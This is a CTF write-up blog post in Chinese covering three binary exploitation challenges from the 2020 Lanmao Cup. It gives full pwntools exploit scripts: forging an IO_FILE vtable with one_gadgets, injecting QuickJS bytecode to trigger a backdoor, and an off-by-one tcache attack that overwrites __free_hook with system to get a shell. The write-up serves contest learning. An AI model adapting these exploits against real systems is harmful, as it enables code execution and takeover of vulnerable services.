2020-蓝帽杯-PWN

0x00 前言

参加了2020蓝帽杯的线上赛,成功被大佬带飞,如果再给点时间,PWN就AK了,P1umer师傅在比赛结束的15分钟做出了全场最少解的题目,tql!

0x01 camp

查看文件

保护全开

IDA分析

主函数:

STDOUT功能:

基本功能正常,在STDOUT、STDIN、STDERR功能中都可以向对应的io_file结构体写数据,且可以修改整个结构体。

思路

思路很简单:
第一步:通过脏数据泄露libc
第二步:利用溢出修改stdout的vtable内容伟heap上的地址,而该heap地址中全是one_gadgets
第三步:调用fake vtable的虚函数

之前不知道到底是怎么getshell的,这里调试看看:
最后是看到进入scanf流程,最后会有一个call io_stdin结构体vatble处[vtable+0x28]的指令

**__isoc99_scanf->_IO_vfscanf->__uflow就可以jmp到stdin [vtable+0x28]**

不过一开始我改的是stdout,但是走到printf会崩掉,其实printf里面按道理就可以call到stdout结构体的vtable,但是在中间会崩掉,有可能是伪造参数出了问题。

exp

#coding=utf-8
from pwn import *

context.log_level = "debug"
p = process("./pwn")
# p = remote("47.93.204.245",16543)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL


def stdoutCreate(size,content):
    p.sendlineafter(">>>\n","1")
    p.sendlineafter("size:\n",str(size))
    p.sendafter("content:\n",content)

def stdinCreate(size,content):
    p.sendlineafter(">>>\n","2")
    p.sendlineafter("size:\n",str(size))
    p.sendafter("content:\n",content)

def stderrCreate(size,content):
    p.sendlineafter(">>>\n","3")
    p.sendlineafter("size:\n",str(size))
    p.sendafter("content:\n",content)

def show():
    p.sendlineafter(">>>\n","4")

def deleteAll():
    p.sendlineafter(">>>\n","5")

def close():
    p.sendlineafter(">>>\n","6")

stdinCreate(0x80,"aaaa\n")
stdinCreate(0x50,"a\n")
stdinCreate(0x50,"a\n")
offset = 0x7ffff7dd1b0a-0x7ffff7a0d000
deleteAll()
stdinCreate(0x50,"\n")
stdinCreate(0x80,"\n")
show()
p.recv(11)
heap_address = u64(p.recv(6).ljust(8,"\x00"))-0xa
p.recv(0x55)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-offset
success("heap address ==> "+hex(heap_address))
success("libc address ==> "+hex(libc.address))
one_gadget = libc.address + 0xf1147
print hex(one_gadget)
vtable = heap_address+0xa0
stderrCreate(0x50,p64(one_gadget)*9+"\n")
# gdb.attach(p)
payload = p64(libc.address+0x00007ffff7dd120b-0x7ffff7a0d000)
payload+= p64(libc.address+0x00007ffff7dd1963-0x7ffff7a0d000)
payload+= p64(libc.address+0x00007ffff7dd1964-0x7ffff7a0d000)
payload+= p64(libc.address+0x00007ffff7dd1963-0x7ffff7a0d000)*5
payload+= p64(libc.address+0x00007ffff7dd1964-0x7ffff7a0d000)
payload+= p64(0)*7
payload+= p64(0x000000000a000000)
payload+= p64(libc.address+0x00007ffff7dd3790-0x7ffff7a0d000)
payload+= p64(0xffffffffffffffff)
payload+= p64(0)
payload+= p64(libc.address+0x00007ffff7dd19c0-0x7ffff7a0d000)
payload+= p64(0)*3
payload+= p64(0x00000000ffffffff)
payload+= p64(0)*2
payload+= p64(vtable)
gdb.attach(p)
stdinCreate(0xf0,payload+"\n")
# gdb.attach(p)
# close()
# p.sendlineafter("token: ","icqc01057047d17ac529fae0095bbf88")
p.interactive()

0x02 love

前言

这道题是非常规的题,如果再给P1umer师傅一会儿时间就出了。题目是基于Fabrice Bellard大牛写的开源js引擎quickjs,想要分析quickjs引擎的运行原理难度太大,但是P1umer师傅很快发现了quickjs的关键字。

补充知识点

Quick JS 是 Fabrice Bellard 今年发布的一款 JavaScript 引擎,具有以下特性:

  • 轻量而且易于嵌入:只需几个C文件,没有外部依赖,一个x86下的简单的“hello world”程序只要180 KiB。
  • 具有极低启动时间的快速解释器: 在一台单核的台式PC上,大约在100秒内运行ECMAScript 测试套件1 56000次。
  • 运行时实例的完整生命周期在不到300微秒的时间内完成。
  • 几乎完整实现ES2019支持,包括: 模块,异步生成器和和完整Annex B支持 (传统的Web兼容性)。
  • 通过100%的ECMAScript Test Suite测试。
  • 可以将Javascript源编译为没有外部依赖的可执行文件。
  • 使用引用计数(以减少内存使用并具有确定性行为)的垃圾收集与循环删除。
  • 数学扩展:BigInt, BigFloat, 运算符重载, bigint模式, math模式.在Javascript中实现的具有上下文着色和完成的命令行解释器。
  • 采用C包装库构建的内置标准库。

qjsc 编译器可以把 JavaScript 代码编译成 QuickJS 虚拟机的字节码(可直接通过 QuickJs 虚拟机执行)。 也可以把 JavaScript 代码编译成一个 C 语言的 .c 文件,这个文件包含了字节码:
这个也是解决本题的重点

使用 qjsc 编译器把 my_test.js文件编译成 my_test.c文件:

./qjsc -e -o my_test.c my_test.js

为了解决本题专门安装了quickjs。

解题思路

我们最终的目标就是想通过给的程序来调用libc的后门函数,而根据p1umer师傅所说,应该是需要将quickjs解析的javascript的字节码传入,才可以解析运行后门函数。

那么我们就需要得到对应的字节码,该字节码可以通过上面的qjsc编译器获得,编译成c文件后会有对应的字节码,我们将得到的字节码传入便可调用后门函数了。

有师傅问我是怎么找到后门函数是aa(1)的,特意去问了Plumer师傅,我们可以看到后门函数上面有个aa的标识符,接下来就是试出来的了,hhh,不讲道理。
第一步

{% asset_img 5.png %}

第二步
将这部分作为payload传入。

{% asset_img 6.png %}

exp

from pwn import *

context.log_level = "debug"

qjsc_exp = ['02','03','6a','2f','68','6f','6d','65',
'2f','73','68','69','6e','6e','6f','73',
'75','6b','65','2f','44','65','73','6b',
'74','6f','70','2f','70','77','6e','2f',
'32','30','32','30','20','62','6c','75',
'65','63','61','70','2f','6c','6f','76',
'65','2f','65','78','70','2e','6a','73',
'14','2e','2f','6c','69','62','6a','73',
'2e','73','6f','04','61','61','0f','c0',
'03','01','c2','03','00','00','01','00',
'c4','03','00','0e','00','06','01','a0',
'01','00','00','00','02','01','00','06',
'00','c4','03','00','0c','65','00','00',
'b7','f0','29','c0','03','01','01','03']

payload = ""
for i in range(len(qjsc_exp)):
    temp = str(qjsc_exp[i])
    print temp
    payload = payload+temp
print payload
print payload.decode('hex')

p=process("./pwn")

p.sendlineafter("\n","0")
p.sendafter("story \n",payload.decode('hex'))
p.interactive()

0x03 safebox

查看文件

保护全开

IDA分析

创建和删除两个功能,没有show功能

off by one的漏洞

思路

通过off by one进行overlapping溢出去修改在unsorted bin中chunk的fd为stdout结构体,再利用tcache的特点进行分配修改,泄露出libc,最后再改fd为free_hook为system来getshell。

通过分配一个大于tcache的chunk,再改掉这个chunk的size释放掉,而这个chunk可以溢出修改的chunk在tcache中,我们切一部分后,留下大于tchche中可以被溢出的chunk的size的chunk,此时分配这个chunk便可以成功修改tcache中的fd了。

exp

#coding=utf-8
from pwn import *

context.update(arch='amd64',os='linux',log_level='debug')
debug = 0
elf = ELF('./pwn')
gadgets = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./pwn')
else:
    libc = ELF("./libc-2.27.so")
    p = remote("47.93.204.245",26501)

def Add(idx,sz,content="a"):
    p.recvuntil('>>>')
    p.sendline('1')
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("len:")
    p.sendline(str(sz))
    p.recvuntil("content:")
    p.send(content)

def Delete(idx):
    p.recvuntil('>>>')
    p.sendline('2')
    p.recvuntil("idx:")
    p.sendline(str(idx))


def exp():
    #leak libc
    Add(0,0xf8)
    Add(1,0x410)
    Add(2,0x40,p64(0x21)*8)
    Add(3,0x40,p64(0x21)*8)
    Add(4,0x70,p64(0x21)*14)

    Delete(0)
    Add(0,0xf8,'a'*0xf8+'\xa1')
    Delete(2)
    Delete(1)

    Add(1,0x410)
    Add(2,0x60,'\x60\x17')
# 
    # Add(2,0x60,'\x60\x07\xdd')


    Delete(0)
    Add(0,0xf8,'a'*0xf8+'\xa1')
    Delete(1)
    Add(1,0x490,'a'*0x410+p64(0)+p64(0x51))
    Add(5,0x40)
    Add(6,0x40,p64(0xfbad1800)+p64(0)*3+'\x00')
    p.recvn(49+0x28)
    libc_base = u64(p.recvn(8))-0x7f1e3d8dd2a0+0x7f1e3d4f5000
    # gdb.attach(p)
    log.success("libc base => " + hex(libc_base))

    #get shell
    Delete(0)
    Delete(4)
    Add(0,0xf8,'a'*0xf8+'\xf1')
    Delete(1)

    Add(7,0x4e0,'a'*0x4b0+p64(0)+p64(0x81)+p64(libc_base+libc.sym['__free_hook']))
    #Add(7,0x4e0,'a'*0x4b0+p64(0)+p64(0x81)+p64(libc_base+libc.sym['__malloc_hook']))
    Add(8,0x70,"/bin/sh\x00")
    # shell_addr = libc_base + gadgets[]
    Add(9,0x70,p64(libc_base+libc.sym['system']))
    # Add(9,0x70,p64(shell_addr))

    '''
    p.recvuntil('>>>')
    p.sendline('1')
    p.recvuntil("idx:")
    p.sendline(str(10))
    p.recvuntil("len:")
    p.sendline(str(17))
    '''
    # gdb.attach(p)
    Delete(8)
    #p.interactive()

#exp()

while True:
    try:
        exp()
        p.interactive()
        p.close()
    except:
        p.close()
    if debug:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        p = process('./pwn')
    else:
        libc = ELF("./libc.so")
        p = remote("47.93.204.245",26501)

  Reprint policy: xiaoxin 2020-蓝帽杯-PWN

 Previous
2020-钓鱼杯 2020-钓鱼杯
veryeasy0x01 查看文件 保护全开,2.27 libc **考点:**2.27 double free,io file attack 0x02 IDA分析 标准的菜单题,有创建、编辑、删除,没有打印信息功能 创建功能,这里就是
2020-08-30
Next 
2020-GeekPwn-ChildShell 2020-GeekPwn-ChildShell
1.查看文件 这是一个需要chroot沙箱逃逸的题目 # 2.IDA分析 多了一个chroot操作,将我们的根目录置为sandbox,而flag在外面。其它的程序逻辑和之前的easyshell相同。 # 3.思路 劫持malloc_ho
2020-08-06
  TOC